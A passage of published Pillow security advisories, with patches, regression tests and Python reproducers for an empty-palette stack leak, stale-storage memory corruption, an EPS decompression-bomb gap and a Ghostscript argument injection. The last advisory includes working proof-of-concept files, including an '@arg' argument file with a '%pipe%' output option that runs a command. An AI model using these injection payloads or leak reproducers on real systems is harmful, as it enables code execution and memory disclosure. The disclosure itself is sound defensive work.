b/src/libImaging/Palette.c @@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) { for (i = 0; i < BOXVOLUME; i++) { d[i] = (unsigned int)~0; + c[i] = 0; } for (i = 0; i < palette->size; i++) { ``` Applied to a clean copy of the tree and rebuilt, the reproducer's attack step fails with `ValueError: empty palette` and the script prints `OK`; the one-entry control is unchanged. Apart from the regression test, the patch does not touch the Python code in `src/PIL`. Optionally `PngImagePlugin.chunk_PLTE` could additionally raise `SyntaxError` for a `PLTE` whose length is 0 or not a multiple of 3, as the PNG specification requires 1–256 entries, and `Image.quantize()` could raise a clearer Python-level error when `palette.palette` is empty. ##### The patch Raise ValueError in topalette() for a palette with no entries and zero-initialise the cache slot array in ImagingPaletteCacheUpdate() Applies to `src/libImaging/Convert.c` at the commit above. ```diff diff --git a/Tests/test_image_quantize.py b/Tests/test_image_quantize.py index 887628560..dcd1d901e 100644 --- a/Tests/test_image_quantize.py +++ b/Tests/test_image_quantize.py @@ -179,3 +179,13 @@ def test_small_palette() -> None: quantized_colors = im.getcolors() assert quantized_colors is not None assert len(quantized_colors) == 2 + + +def test_empty_palette() -> None: + im = hopper() + + p = Image.new("P", (1, 1)) + p.putpalette(b"") + + with pytest.raises(ValueError): + im.quantize(palette=p) diff --git a/src/libImaging/Convert.c b/src/libImaging/Convert.c index 4a35a9a1f..7746d9255 100644 --- a/src/libImaging/Convert.c +++ b/src/libImaging/Convert.c @@ -1159,6 +1159,10 @@ topalette( alpha = mode == IMAGING_MODE_PA; + if (palette != NULL && palette->size <= 0) { + return (Imaging)ImagingError_ValueError("empty palette"); + } + if (palette == NULL) { /* FIXME: make user configurable */ if (imIn->bands == 1) { diff --git a/src/libImaging/Palette.c b/src/libImaging/Palette.c index b2dacf656..ceb69d3dc 100644 --- a/src/libImaging/Palette.c +++ b/src/libImaging/Palette.c @@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) { for (i = 0; i < BOXVOLUME; i++) { d[i] = (unsigned int)~0; + c[i] = 0; } for (i = 0; i < palette->size; i++) { ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 2,975 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 ##### Pillow: Image.quantize(palette=<P image with an empty palette>) returns ##### uninitialised C stack bytes as pixel values. # ##### ImagingPaletteCacheUpdate() (src/libImaging/Palette.c) only writes its local ##### UINT8 c[512] inside `for (i = 0; i < palette->size; i++)`. A PNG with a ##### zero-length PLTE chunk gives palette->size == 0, so c[] is never written and ##### its raw stack contents are copied into the colour cache, which topalette() ##### (src/libImaging/Convert.c) then emits as the output pixels. import io import struct import zlib from PIL import Image def png_with_plte(plte): """A 4x4 palette-mode (colour type 3) PNG whose PLTE chunk holds `plte`.""" def chunk(tag, data): return (struct.pack(">I", len(data)) + tag + data + struct.pack(">I", zlib.crc32(tag + data))) ihdr = struct.pack(">IIBBBBB", 4, 4, 8, 3, 0, 0, 0) pixels = zlib.compress(b"\x00" * 4 * 5) return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr) + chunk(b"PLTE", plte) + chunk(b"IDAT", pixels) + chunk(b"IEND", b"")) def quantize_against(palette_png): """What an "apply this palette" feature does with an uploaded palette image.""" pal = Image.open(io.BytesIO(palette_png)) # 512 colours, one per slot of the colour-cache box r,g,b in [0,32), in slot # order: output pixel j is exactly c[j] of ImagingPaletteCacheUpdate(). src = Image.new("RGB", (512, 1)) src.putdata([(r * 4, g * 4, b * 4) for r in range(8) for g in range(8) for b in range(8)]) return src.quantize(palette=pal, dither=Image.Dither.NONE).tobytes() def stack_range(): for line in open("/proc/self/maps"): if line.rstrip().endswith("[stack]"): lo, hi = line.split()[0].split("-") return int(lo, 16), int(hi, 16) ##### Control: a one-entry palette -- every pixel must map to index 0. control = quantize_against(png_with_plte(b"\x10\x20\x30")) print(f"control (1-entry PLTE): distinct pixel values = {sorted(set(control))}") ##### Attack: the same PNG with an empty PLTE chunk (80 bytes). try: leaked = quantize_against(png_with_plte(b"")) except ValueError as e: print(f"attack (empty PLTE): rejected: {e}") print("OK") raise SystemExit print(f"attack (empty PLTE): {len(set(leaked))} distinct pixel values; first 64 bytes:") print(f" {leaked[:64].hex()}") ##### Read the 512 pixel bytes as 64 little-endian words; any word that is an ##### address inside this process's own stack can only have come from the stack. lo, hi = stack_range() print(f"this process's [stack] mapping: {lo:#x}-{hi:#x}") stack_ptrs = 0 for i in range(0, 512, 8): word = int.from_bytes(leaked[i:i + 8], "little") if lo <= word < hi: stack_ptrs += 1 print(f" pixels {i:3d}..{i + 7:3d} = {word:#&#8203;018x} <- pointer into [stack]") print(f"{stack_ptrs} of 64 words of the output image are stack addresses") print("BUG" if set(control) == {0} and stack_ptrs >= 2 else "OK") ``` </details> --- #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2](https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112898](https://nvd.nist.gov/vuln/detail/CVE-2026-112898) - [https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4](https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-rfgq-q3w2-pmv2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow multi-frame loaders can reuse stale native image storage after mode transitions BIT-pillow-2026-96639 / [CVE-2026-96639](https://nvd.nist.gov/vuln/detail/CVE-2026-96639) / [GHSA-v9pv-5gc8-w2m6](https://github.com/advisories/GHSA-v9pv-5gc8-w2m6) / PYSEC-2026-4339 <details> <summary>More information</summary> #### Details ##### Summary Pillow multi-frame image loaders can retain native `ImagingCore` storage allocated for one frame while changing the Python-side image `mode` and decoder tiles for a later frame. If frame 0 allocates storage for a narrow mode such as `L`, and a later frame of the same dimensions switches to a wider mode such as `RGB` or `CMYK`, Pillow may decode wider pixels into the stale narrow native buffer. This causes native out-of-bounds writes and process crashes. In the MPO/JPEG path, I also demonstrated command execution in matching Python/Pillow runtime profiles through Pillow's documented `ImageSequence.Iterator` + `frame.load()` path. ##### Details The root cause appears to be that `ImageFile.load_prepare()` only reallocates native storage when `_im is None`. It does not verify that the retained native `ImagingCore` storage still matches `self.mode` and `self.size`. Several multi-frame `seek()` / `_open()` paths can update `self._mode` and decoder tiles for a later frame without invalidating `_im`. The decoder then writes or reads according to the new frame mode while the native storage still belongs to the old frame mode. Verified affected surfaces: 1. **PSD** `PsdImageFile.seek()` can switch from grayscale/native `L` storage to RGB layer decoding while retaining `_im`. This produces attacker-controlled native out-of-bounds writes and reliable crashes. 2. **MPO/JPEG** A crafted two-frame MPO can make frame 0 allocate `L` storage, then make frame 1 decode `CMYK` / `RGB` data into the retained `L` storage. The documented `ImageSequence.Iterator` path reaches this with `frame.load()`. Verified native memory corruption, crash, over-read behavior, and scoped harmless-marker command execution on Pillow 12.3.0. 3. **DCX** `DcxImageFile.seek()` calls `PcxImageFile._open()`, which changes mode/tile state without a native-storage mode guard. A crafted DCX with `L` then `RGB` PCX frames produces retained-storage mismatch and crash. 4. **MIC** MIC can call `TiffImageFile._open()` directly and bypass TIFF's normal guarded `seek()` behavior. With a `NextIFD`-based reachable frame transition, this produces retained-storage mismatch and crash. TIFF appears to be a useful positive control because its `seek()` path checks both size and mode before reusing storage. ##### Impact - process crash / denial of service, - native out-of-bounds write, - native over-read in the MPO path. Stronger proven impact: - command execution in matching Python/Pillow runtime profiles through the MPO/JPEG path. Server-side deployment impact: - Create a local vulnerable web upload service that accepts an unauthenticated MPO upload and automatically processes it with Pillow. - The attack is one HTTP request and requires no user interaction after upload. - The fixed harmless command-output marker succeeded 10/10 times. - The `_im=None` control was clean 10/10 times. ##### Reproduction Evidence Tested version: ```text Pillow 12.3.0 ``` MPO terminal proof environments: ```text Python 3.12.3 + Pillow 12.3.0, clean PyPI environment: marker 10/10, control 0/10 Python 3.13.14 + Pillow 12.3.0, prepared profile: marker 10/10, control 0/10 ``` Server-side web-upload proof: ```text control 1..10: MARKER_MISSING control_summary ok 0 missing 10 /10 vulnerable 1..10: MARKER_OK marker_output <server-user> vulnerable_summary ok 10 missing 0 /10 ``` The terminal proof uses a fixed harmless marker command only. It does not use a reverse shell, persistence, data exfiltration, or arbitrary attacker-selected commands. I can provide the following private artifacts to maintainers: - minimal crash fixtures for PSD, MPO, DCX, and MIC, - non-weaponized MPO marker PoC, - local vulnerable web upload demo, - gdb/GEF geometry receipts, - control-run logs, - proposed regression-test shape. ##### Minimal Reproduction Shape For the MPO path, the vulnerable consumer shape is: ```python from io import BytesIO from PIL import Image, ImageSequence source = BytesIO(open(path, "rb").read()) image = Image.open(source) iterator = ImageSequence.Iterator(image) next(iterator).load() next(iterator).load() ``` The crafted image shape is: ```text frame 0: mode L, dimensions W x H frame 1: same W x H, wider mode such as CMYK ``` Frame 0 allocates native `L` storage. Frame 1 changes the logical mode and decoder state but can reuse the old native storage. The frame 1 decoder writes using the wider mode into the narrow storage. ##### Suggested Fix Direction Before reusing native `ImagingCore` storage, Pillow should verify that the retained storage is compatible with the current logical image mode and size. A central guard in `ImageFile.load_prepare()` could compare native storage mode/size against `self.mode` / `self.size` and allocate fresh storage when they differ. Alternatively, every mode-changing `seek()` / `_open()` path should explicitly invalidate `_im` before decoding. Caution: TIFF has specialized tile-size behavior and already has a mode/size guard, so a central fix should avoid regressing TIFF tile-buffer handling. ##### Credit ```text Rotem Kama ``` ##### Methodology Note AI-assisted analysis was used for discovery and verification support. Claims in this report are limited to the local artifacts, controls, and command outputs described above. #### Severity - CVSS Score: 9.8 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-v9pv-5gc8-w2m6](https://github.com/python-pillow/Pillow/security/advisories/GHSA-v9pv-5gc8-w2m6) - [https://nvd.nist.gov/vuln/detail/CVE-2026-96639](https://nvd.nist.gov/vuln/detail/CVE-2026-96639) - [https://github.com/python-pillow/Pillow/pull/10105](https://github.com/python-pillow/Pillow/pull/10105) - [https://github.com/python-pillow/Pillow/commit/78d97d994579aef81aafe123773d525f40f2522a](https://github.com/python-pillow/Pillow/commit/78d97d994579aef81aafe123773d525f40f2522a) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-v9pv-5gc8-w2m6) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: EPS load(scale) lets Ghostscript render past the decompression bomb limit [CVE-2026-112899](https://nvd.nist.gov/vuln/detail/CVE-2026-112899) / [GHSA-vx6w-vv9f-6gvg](https://github.com/advisories/GHSA-vx6w-vv9f-6gvg) <details> <summary>More information</summary> #### Details ``` ============================================================================ EPS load(scale) lets Ghostscript render past the decompression bomb limit Location: src/PIL/EpsImagePlugin.py:92 in Ghostscript() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` When an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale² times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file. The cause is in `Ghostscript()` in `src/PIL/EpsImagePlugin.py`. It multiplies the file-declared size by the caller's `scale` (lines 93-94) and passes the product to `gs` as the `-g` output geometry. It never calls `Image._decompression_bomb_check()` on the scaled size. The only check is the one `Image.open()` ran on the unscaled size, so a file declaring 9000×9000 passes, and `load(scale=2)` then asks Ghostscript for 18000×18000 (3.6× `MAX_IMAGE_PIXELS`). A file declaring 18000×18000 directly would be refused before Ghostscript ever ran. `DecompressionBombError` fires only when Pillow reopens the output file, so Pillow's own in-process allocation stays bounded and there is no memory corruption. The effect is a constant-factor overshoot rather than an unbounded one, for three reasons: * The multiplier is an integer chosen by the application, not by the file. * With the default warning filter, `Image.open()` already lets files up to 2× the limit reach Ghostscript at `scale=1`. * Any application feeding untrusted files to Ghostscript is already exposed to a tiny file that keeps Ghostscript busy indefinitely, since `gs` runs with no timeout. This is the EPS counterpart of the WMF `load(dpi)` gap closed in af70b075a. It has been present since the decompression-bomb limit was introduced in ce2955ec7 (2.5.0). The attached reproducer stubs out Ghostscript and shows a 76-byte file passing `Image.open()` and reaching `gs` with `-g18000x18000`. A one-line patch mirroring the WMF check is included. ##### Details `EpsImageFile.load(scale=N)` (the documented way to rasterise an EPS at higher resolution) renders `width*N × height*N` pixels through Ghostscript, but the only decompression-bomb check on the way is the one `Image.open()` ran on the *unscaled*, file-declared `width × height`. The scaled product is never passed to `Image._decompression_bomb_check()` before `gs` is started. This 111-byte EPS declares 9000×9000 = 81,000,000 pixels, below the default `MAX_IMAGE_PIXELS` (89,478,485), so `Image.open()` accepts it without even a warning: ``` %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 9000 9000 %%EndComments 0 0 moveto 9000 9000 lineto stroke showpage ``` `im.load(scale=2)` on it then executes ``` gs -q -g18000x18000 -r144.000000x144.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=pnmraw -sOutputFile=/tmp/tmpXXXX -c 0 0 translate -f attack.eps -c showpage ``` i.e. asks Ghostscript for an 18000×18000 = 324,000,000-pixel raster (3.6× `MAX_IMAGE_PIXELS`), whose `pnmraw` output is a 972,000,019-byte file in the temp directory. An EPS that declares 18000×18000 directly is rejected by `Image.open()` with `DecompressionBombError` before Ghostscript is ever run; via `scale=2` the same raster is rendered first and the `DecompressionBombError` only appears afterwards, when Pillow opens the file Ghostscript produced. (Between 1× and 2× `MAX_IMAGE_PIXELS`, `Image.open()` only emits `DecompressionBombWarning`, so with the default warning filter an EPS declaring e.g. 13377×13377 is already rendered at `scale=1` — a 537 MB PNM. Against that baseline, `scale=2` is 4× an already-permitted render.) The arithmetic is in `Ghostscript()`: ```python ##### src/PIL/EpsImagePlugin.py:91-97 # Hack to support hi-res rendering scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) … ##### src/PIL/EpsImagePlugin.py:139-142 command = [ gs_binary, "-q", # quiet mode f"-g{width:d}x{height:d}", # set output geometry (pixels) … ##### src/PIL/EpsImagePlugin.py:165-168 subprocess.check_call(command, startupinfo=startupinfo) with Image.open(outfile) as out_im: out_im.load() return out_im.im.copy() ``` and its caller does nothing between taking `scale` from the application and invoking it: ```python ##### src/PIL/EpsImagePlugin.py:411-417 def load(self, scale: int = 1, transparency: bool = False) -> …: # Load EPS via Ghostscript if self.tile: assert self.fp is not None self.im = Ghostscript(self.tile, self.size, self.fp, scale, transparency) ``` `size` here is `self._size`, computed in `_open()` from the file's `%%BoundingBox` (or `%ImageData`) and checked once by `Image.open()` at `src/PIL/Image.py:3700`. For the benign path (`scale=1`) that check covers exactly what Ghostscript is asked to render. For `scale=N` the rendered pixel count is N² times what was checked, so a file can sit just under the limit at open time and have Ghostscript render 4× (scale 2), 9× (scale 3), 16× (scale 4) the configured budget. The first point at which Pillow looks at the real size again is `Image.open(outfile)` at line 166 — after `subprocess.check_call` has returned, i.e. after Ghostscript has spent the CPU and written `width*height*3` bytes to `tempfile.mkstemp()`'s directory. `WmfStubImageFile.load(dpi)` has the same shape (file-derived extent × caller-supplied factor → new raster) and, since af70b075a, calls `Image._decompression_bomb_check(self.size)` on the recomputed size before rendering (`src/PIL/WmfImagePlugin.py:127-131`). The EPS path lacks the equivalent line. The gap dates from ce2955ec7128 ("Throw an exception when an opened image is larger than an arbitrary limit", 2014-05-14, first released in 2.5.0), which added the check to `Image.open()` without covering the `scale` path. ##### Impact Affected are applications that open untrusted EPS/PS with Ghostscript installed and call `load(scale=N)` with a fixed N > 1, as the handbook suggests for non-blurry output. Handing untrusted EPS to Ghostscript at all already lets the same attacker tie up a worker with an equally tiny file (e.g. a PostScript `{} loop`; Pillow runs `gs` with no timeout), so this bug adds a constant factor rather than a new denial-of-service capability. Within that setting, a ~110-byte upload makes each request run Ghostscript over N² × `MAX_IMAGE_PIXELS` pixels (N² × 2·`MAX_IMAGE_PIXELS` if the application does not turn `DecompressionBombWarning` into an error) and write a `W·H·3`-byte PNM into the temp directory — 972 MB for the example above at scale 2, 2.2 GB at scale 3, 8.6 GB for a 178-Mpixel declaration at scale 4 — before any limit is applied. The operator's `MAX_IMAGE_PIXELS` setting is exceeded by a factor of N²; N is an integer chosen by the application, not by the file, so the work stays bounded at N² × 2·`MAX_IMAGE_PIXELS`. The consequence is N² more Ghostscript CPU and temp-disk use per request than the configured limit intends; Pillow's own in-process pixel allocation remains bounded because `Image.open(outfile)` re-checks the PNM's size, and there is no memory corruption. This is a sibling of the WMF `load(dpi)` issue fixed in af70b075a ("Add decompression bomb check when loading at a different DPI"); the EPS `scale` path was not covered by that change. Unlike the WMF case, where the file-controlled `_inch` makes the ratio unbounded, the EPS multiplier is fixed by the application. ##### Reproducing Run `repro` against the installed Pillow. Ghostscript does not need to be installed: the script sets `EpsImagePlugin.gs_binary = "gs"` so that `has_ghostscript()` skips its `gs --version` probe, and replaces `subprocess.check_call` with a function that records the command line Pillow builds and then raises `OSError`, so nothing is actually rendered. It writes a 76-byte EPS declaring `%%BoundingBox: 0 0 9000 9000` (the example above without the drawing line; 81 Mpixel, below the default `MAX_IMAGE_PIXELS` of 89,478,485) and turns `DecompressionBombWarning` into an error, so any bomb check — warning or hard error — counts. It then calls `Image.open()` and `im.load(scale=2)`. `Image.open()` accepts the file and `load(scale=2)` reaches the intercepted Ghostscript call with `-g18000x18000` (324,000,000 pixels, 3.6× `MAX_IMAGE_PIXELS`, a 972 MB `pnmraw` output with real Ghostscript). The script prints the geometry it captured. It prints `BUG` when Ghostscript was invoked with a `-g` geometry above `2*MAX_IMAGE_PIXELS` (178,956,970) and no decompression-bomb check fired before that call; otherwise it prints `OK`. With the attached patch applied, `load(scale=2)` raises `DecompressionBombError` before Ghostscript is called and the script prints `OK`. ##### Suggested fix The attached patch checks the scaled size in `Ghostscript()` right after the scaled `width`/`height` are computed (`src/PIL/EpsImagePlugin.py:93-94`) and before the `gs` command is built, mirroring `WmfStubImageFile.load`: ```diff --- a/src/PIL/EpsImagePlugin.py +++ b/src/PIL/EpsImagePlugin.py @@ -92,6 +92,7 @@ def Ghostscript( scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale + Image._decompression_bomb_check((width, height)) # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) res_y = 72.0 * height / (bbox[3] - bbox[1]) ``` `load(scale=N)` now raises `DecompressionBombError` / emits `DecompressionBombWarning` under the same `MAX_IMAGE_PIXELS` thresholds `Image.open()` applies, before Ghostscript runs instead of after. Placing the check in `Ghostscript()` rather than in `EpsImageFile.load()` is the single point where the rendered extent is decided, so it also covers direct callers of the module-level function. With the patch applied to a clean checkout the reproducer prints `OK` and `Tests/test_file_eps.py` passes. One cosmetic side effect: at `scale=1` the check re-emits the `DecompressionBombWarning` that `Image.open()` already issued for sizes between 1× and 2× the limit; guarding the call with `if scale > 1:` would avoid the duplicate. The patch also adds `test_load_scale_decompression_bomb` to `Tests/test_file_eps.py`, in the style of the WMF test: it sets `MAX_IMAGE_PIXELS` to `im.width * im.height` and expects `im.load(scale=2)` to raise `DecompressionBombError`. Like the rest of that file it is skipped without Ghostscript, because `has_ghostscript()` is consulted at the top of `Ghostscript()`; moving the check above that call would let the test run without it. ##### The patch Add decompression bomb check on the scaled size in EpsImagePlugin.Ghostscript() before Ghostscript is invoked Applies to `src/PIL/EpsImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_eps.py b/Tests/test_file_eps.py index 70eced62a..de331d97f 100644 --- a/Tests/test_file_eps.py +++ b/Tests/test_file_eps.py @@ -98,6 +98,14 @@ def test_sanity(filename: str, size: tuple[int, int], scale: int) -> None: assert image.format == "EPS" +@pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason="Ghostscript not available") +def test_load_scale_decompression_bomb(monkeypatch: pytest.MonkeyPatch) -> None: + with Image.open(FILE1) as im: + monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", im.width * im.height) + with pytest.raises(Image.DecompressionBombError): + im.load(scale=2) + + @pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason="Ghostscript not available") def test_load() -> None: with Image.open(FILE1) as im: diff --git a/src/PIL/EpsImagePlugin.py b/src/PIL/EpsImagePlugin.py index 5eaefe339..ccc6f1d85 100644 --- a/src/PIL/EpsImagePlugin.py +++ b/src/PIL/EpsImagePlugin.py @@ -92,6 +92,7 @@ def Ghostscript( scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale + Image._decompression_bomb_check((width, height)) # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) res_y = 72.0 * height / (bbox[3] - bbox[1]) ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 1,845 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 ##### EpsImagePlugin.Ghostscript(): load(scale=N) hands gs a -g geometry of ##### (W*N)x(H*N) with no _decompression_bomb_check on the scaled size; only the ##### unscaled WxH was checked by Image.open(). gs is not installed here, so we ##### set gs_binary and intercept subprocess.check_call to read the argv Pillow builds. import os, subprocess, tempfile, warnings from PIL import Image, EpsImagePlugin EpsImagePlugin.gs_binary = "gs" # skip the `gs --version` probe path = os.path.join(tempfile.mkdtemp(), "a.eps") with open(path, "w") as f: # 9000x9000 = 81 Mpx < MAX_IMAGE_PIXELS (89.5 Mpx) f.write("%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 9000 9000\n%%EndComments\nshowpage\n") calls = [] def fake_check_call(cmd, **kw): calls.append(cmd) raise OSError("gs intercepted") # stop here; we only need the argv subprocess.check_call = fake_check_call hard = 2 * Image.MAX_IMAGE_PIXELS bomb_before_gs = False with warnings.catch_warnings(): warnings.simplefilter("error", Image.DecompressionBombWarning) try: with Image.open(path) as im: print("Image.open accepted", os.path.getsize(path), "byte EPS, size", im.size) im.load(scale=2) except (Image.DecompressionBombError, Image.DecompressionBombWarning) as e: bomb_before_gs = not calls print("bomb check fired", "before" if bomb_before_gs else "after", "gs:", e) except OSError as e: print("load() reached gs:", e) over = False for c in calls: g = next(a for a in c if a.startswith("-g"))[2:] w, h = map(int, g.split("x")) over |= w * h > hard print(f"gs argv geometry -g{g} = {w*h} px ({w*h/Image.MAX_IMAGE_PIXELS:.1f}x MAX_IMAGE_PIXELS, " f"hard limit {hard}); pnmraw output would be {w*h*3} bytes") print("BUG" if calls and over and not bomb_before_gs else "OK") ``` </details> --- #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-vx6w-vv9f-6gvg](https://github.com/python-pillow/Pillow/security/advisories/GHSA-vx6w-vv9f-6gvg) - [https://github.com/python-pillow/Pillow/commit/3e8cc105588d1dfe062fcada0b6058c1b5f14b65](https://github.com/python-pillow/Pillow/commit/3e8cc105588d1dfe062fcada0b6058c1b5f14b65) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vx6w-vv9f-6gvg) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Argument Injection in Ghostscript call, potentially leading into RCE BIT-pillow-2026-112900 / [CVE-2026-112900](https://nvd.nist.gov/vuln/detail/CVE-2026-112900) / [GHSA-w889-685w-c8fh](https://github.com/advisories/GHSA-w889-685w-c8fh) <details> <summary>More information</summary> #### Details ##### Summary `PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f <infile>`. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled). ##### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ ##### Type CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file) ##### Vulnerable Codes ```python infile_temp = None if hasattr(fp, "name") and os.path.exists(fp.name): infile = fp.name # user-controlled path used as-is, without validation else: in_fd, infile_temp = tempfile.mkstemp() os.close(in_fd) infile = infile_temp # ... (copy fp into a temporary file) ##### Build Ghostscript command command = [ gs_binary, "-q", f"-g{width:d}x{height:d}", f"-r{res_x:f}x{res_y:f}", "-dBATCH", "-dNOPAUSE", "-dSAFER", # default sandbox — does NOT stop this injection f"-sDEVICE={device}", f"-sOutputFile={outfile}", "-c", f"{-bbox[0]} {-bbox[1]} translate", "-f", infile, # injected here: inserted into argv with no check for # option prefixes (-, --) or Ghostscript's @-file token # => argument injection (CWE-88) "-c", "showpage", ] ##### ... subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript ``` ##### Root cause. When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @&#8203; (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting. ##### Affected - Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included). - Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`, and the command list entry `"-f", infile`. ##### Suggested fix Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`): ```python if hasattr(fp, "name") and os.path.exists(fp.name): infile = os.path.abspath(fp.name) # was: infile = fp.name ``` `os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change. ##### PoC dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py. ``` FROM ubuntu:24.04 RUN apt update RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates RUN rm -rf /var/lib/apt/lists/* RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0 ENV PATH=/venv/bin:$PATH WORKDIR /poc COPY poc.py . COPY poc-rce.py . COPY arg . CMD ["python3", "poc.py"] ``` poc.py ``` import os from PIL import Image ############################################################################################ ##### Attacker controlled file ############################################################################################ EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n" name = "-h" with open(name, "wb") as f: f.write(EPS) ############################################################################################ print(f"[*] Pillow opens a file whose name is {name!r}") im = Image.open(name) print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'") try: im.load() except Exception as e: print(f"[*] load() raised: {type(e).__name__}: {e}") print("CWE-88: argument injection; Pillow code doesn't validate argument name") print(" This poc.py shows the vulnerability clearly.") print(" If Pillow checks the name of file before it uses, It won't display `help`") ``` poc-rce.py ``` import os from PIL import Image ############################################################################################ ##### Attacker controlled file ############################################################################################ EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n" ##### To chain this vulnerability into critical RCE, We need another arbitrary text file ##### In this script, it is `arg`. name = "@arg" with open(name, "wb") as f: f.write(EPS) ############################################################################################ print(f"[*] Pillow opens a file whose name is {name!r}") im = Image.open(name) print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'") print(f"[*] and this leads to arbitrary command injection.") print(f"*********************************************") try: im.load() except Exception as e: print(f"*********************************************") print(f"[*] load() raised: {type(e).__name__}: {e}") print("") print("CWE-78: OS Command Injection;") print("CWE-88: Argument Injection ; Pillow code doesn't validate argument name") print(" This poc.py shows the vulnerability clearly.") print(" If Pillow checks the name of file before it uses, It won't call `id`") ``` arg ``` -sOutputFile=%pipe%/bin/id -c 